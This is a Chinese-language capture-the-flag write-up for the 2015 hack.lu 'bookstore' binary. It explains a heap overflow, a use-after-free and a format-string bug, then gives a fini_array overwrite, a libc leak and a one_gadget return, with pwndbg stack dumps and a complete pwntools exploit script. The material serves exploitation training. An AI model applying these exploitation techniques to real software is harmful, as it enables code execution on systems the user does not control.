2015-hacklu-bookstore
参考
https://bbs.pediy.com/thread-246783.htm
https://blog.csdn.net/qq_43449190/article/details/89077783
基本信息
➜ 2015_hacklu_bookstore git:(master) file books
books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, stripped
➜ 2015_hacklu_bookstore git:(master) checksec books
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/2015_hacklu_bookstore/books'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看出该程序是动态链接的 64 位程序,主要开启了 Canary 与 NX 保护。
基本功能
该程序的主要功能是订书,具体如下
- 最多可以订购两本书。
- 根据编号来选择订购第几本书,可以为每本书添加对应的名字。然而在添加名字处出现了任意长度堆溢出的漏洞。
- 根据编号来删除 order,但是这里只是单纯地 free 掉,并没有置为 NULL,因此会出现 UAF。
- 提交订单,将两本书的名字合在一起。这里由于上面堆溢出的问题,这里也会出现堆溢出的漏洞。
- 此外,在程序退出之前存在一个格式化字符串漏洞。
这里虽然程序的漏洞能力很强,但是所有进行 malloc 的大小都是完全固定的,我们只能借助这些分配的 chunk 来进行操作。
利用思路
程序中主要的漏洞在于堆溢出和格式化字符串漏洞,但是如果想要利用格式化字符串漏洞,必然需要溢出对应的 dest 数组。具体思路如下
- 利用堆溢出进行 chunk extend,使得在 submit 中
malloc(0x140uLL)
时,恰好返回第二个订单处的位置。在 submit 之前,布置好堆内存布局,使得把字符串拼接后恰好可以覆盖 dest 为指定的格式化字符串。 - 通过构造 dest 为指定的格式化字符串:一方面泄漏 __libc_start_main_ret 的地址,一方面控制程序重新返回执行。这时,便可以知道 libc 基地址,system 等地址。需要注意的是由于一旦 submit 之后,程序就会直接直接退出,所以我们比较好的思路就是修改 fini_array 中的变量,以便于达到程序执行完毕后,重新返回我们期待的位置。这里我们会使用一个 trick,程序每次读取选择的时候会读取 128 大小,在栈上。而程序最后在输出 dest 的时候,之前所读取的那部分选择必然是在栈上的,所以我们如果我们在栈上预先布置好一些控制流指针,那就可以来控制程序的执行流程。
- 再次利用格式化字符串漏洞,覆盖 free@got 为 system 地址,从而达到任意命令执行的目的。
调试
首先在printf处下断点
b printf
然后我们在断下来的printf此时查看栈信息
stack 30
然后在栈上找能够泄露栈地址的元素,和修改ret地址的偏移。
偏移的计算如下:
从最前的rsp开始算起。例如我要泄露0x7ffe7b486c08
这个0x80
处的地址,那么偏移就是0x80/8-5=11,也就是%11$p
。这里减去5是跳过在64位系统调用下的后5个寄存器。因为这里的情况就是例如printf(dest),dest这个格式化字符串刚好在第一个寄存器中。需要跳过5个寄存器。
如果要修改栈上变量,'%'+str(0xa39)+'c%13$hn'
这样就是修改双字DWORD,如果修改一字节就是$hhn.如果要改64位的指针值,可以拆开来分次改。
pwndbg> stack 30
00:0000│ rsp 0x7ffe7b486b88 —▸ 0x400c7f ◂— mov rax, qword ptr [rbp - 0x98]
01:0008│ 0x7ffe7b486b90 ◂— 0x100400780
02:0010│ 0x7ffe7b486b98 —▸ 0x21c1670 ◂— 0x3a3120726564724f ('Order 1:')
03:0018│ 0x7ffe7b486ba0 —▸ 0x400d38 ◂— pop rcx /* 'Your order is submitted!\n' */
04:0020│ 0x7ffe7b486ba8 —▸ 0x21c15e0 ◂— '%22d%13$hhn%60188d%14$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
05:0028│ 0x7ffe7b486bb0 —▸ 0x21c1670 ◂— 0x3a3120726564724f ('Order 1:')
06:0030│ 0x7ffe7b486bb8 —▸ 0x21c1700 ◂— '%22d%13$hhn%60188d%14$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nOrder 2: \n'
07:0038│ 0x7ffe7b486bc0 ◂— 0xa35 /* '5\n' */
08:0040│ 0x7ffe7b486bc8 ◂— 0x3000000010
09:0048│ 0x7ffe7b486bd0 —▸ 0x7ffe7b486ca0 ◂— 0x100000000
0a:0050│ 0x7ffe7b486bd8 —▸ 0x7ffe7b486be0 ◂— 0x5
0b:0058│ 0x7ffe7b486be0 ◂— 0x5
0c:0060│ 0x7ffe7b486be8 ◂— 0x0
0d:0068│ 0x7ffe7b486bf0 —▸ 0x7ff7bd234780 (_IO_stdfile_1_lock) ◂— 0x0
0e:0070│ 0x7ffe7b486bf8 ◂— 0x7ffffef0
0f:0078│ 0x7ffe7b486c00 ◂— 0x8
10:0080│ 0x7ffe7b486c08 ◂— 0x10f
11:0088│ 0x7ffe7b486c10 ◂— 0x0
12:0090│ 0x7ffe7b486c18 ◂— 0x7c00000077 /* 'w' */
13:0098│ 0x7ffe7b486c20 ◂— 0x0
14:00a0│ 0x7ffe7b486c28 —▸ 0x21c05e1 ◂— 'd%14$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
15:00a8│ 0x7ffe7b486c30 ◂— 0x100000000
16:00b0│ 0x7ffe7b486c38 ◂— 0x0
... ↓
18:00c0│ 0x7ffe7b486c48 ◂— 0x538c6c2fea65ab00
19:00c8│ rbp 0x7ffe7b486c50 —▸ 0x7ffe7b486d20 —▸ 0x7ff7bd2325f8 (__exit_funcs) —▸ 0x7ff7bd233c40 (initial) ◂— 0x0
1a:00d0│ 0x7ffe7b486c58 —▸ 0x7ff7bd248df7 (_dl_fini+823) ◂— test r13d, r13d
1b:00d8│ r14 0x7ffe7b486c60 —▸ 0x7ff7bd45f168 ◂— 0x0
1c:00e0│ 0x7ffe7b486c68 —▸ 0x7ff7bd45f700 —▸ 0x7ffe7b50e000 ◂— jg 0x7ffe7b50e047
1d:00e8│ 0x7ffe7b486c70 —▸ 0x7ff7bd445000 —▸ 0x7ff7bce6e000 ◂— jg 0x7ff7bce6e047
最后把ret地址改为one_gadget即可
exp
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
#context.log_level='debug'
p=process('./books')
P=ELF('./books')
libc=ELF('./libc.so.6')
#gdb.attach(p,'b *0x400c8e')
def edit(ID,des):
p.recvuntil('5: Submit\n')
p.sendline(str(ID))
p.recvuntil('er:\n')
p.sendline(des)
def delete(ID):
p.recvuntil('5: Submit\n')
p.sendline(str(ID+2))
def submit(payload):
p.recvuntil('5: Submit\n')
p.sendline('5'+payload)
# overlap the second chunk to control the dest string.
# use the format string dest to
# 1. leak __libc_start_main+240 in the stack
# 2. write main_addr to the fini_arry
fini_arry=0x6011b8 #0x400830
main_addr=0x400a39
payload = '%'+str(0xa39)+'c%13$hn'+'.%31$p'+',%28$p'
payload = payload.ljust(0x74,'a')
payload = payload.ljust(0x80,'\x00')
payload+= p64(0x90)
# we control the second chunk size as 0x151, free it.
# when submit and malloc(0x140), we get the second chunk ptr again.
# by submit overlong to second chunk, we can overwrite to dest string chunk.
payload+= p64(0x151)
delete(2)
edit(1,payload)
submit('aaaaaaa'+p64(fini_arry)) # write fini_array to return to main when the program finish
p.recvuntil('.')
p.recvuntil('.')
p.recvuntil('.')
date = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
date =int(date,16) - 240
ret_addr = int(ret_addr,16) - 0xd8 -0x110
libcbase = date - libc.symbols['__libc_start_main']
one_gadget = libcbase + 0x45216 #0x45216 #0x4526a 0xf02a4 0xf1147
log.success('ret_addr = ' + hex(ret_addr))
log.success('libcbase = ' + hex(libcbase))
log.success('one_gadget = ' + hex(one_gadget))
#p.interactive()
one_shot1 ='0x' + str(hex(one_gadget))[-2:]
one_shot2 ='0x' + str(hex(one_gadget))[-6:-2]
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)
payload = '%' + str(one_shot1) + 'd%13$hhn'
payload+= '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload=payload.ljust(0x74,'a')
payload=payload.ljust(0x80,'\x00')
payload+=p64(0x90)
payload+=p64(0x151)
delete(2)
edit(1,payload)
gdb.attach(p," b printf")
p.interactive()
submit('aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))
p.interactive()
网友评论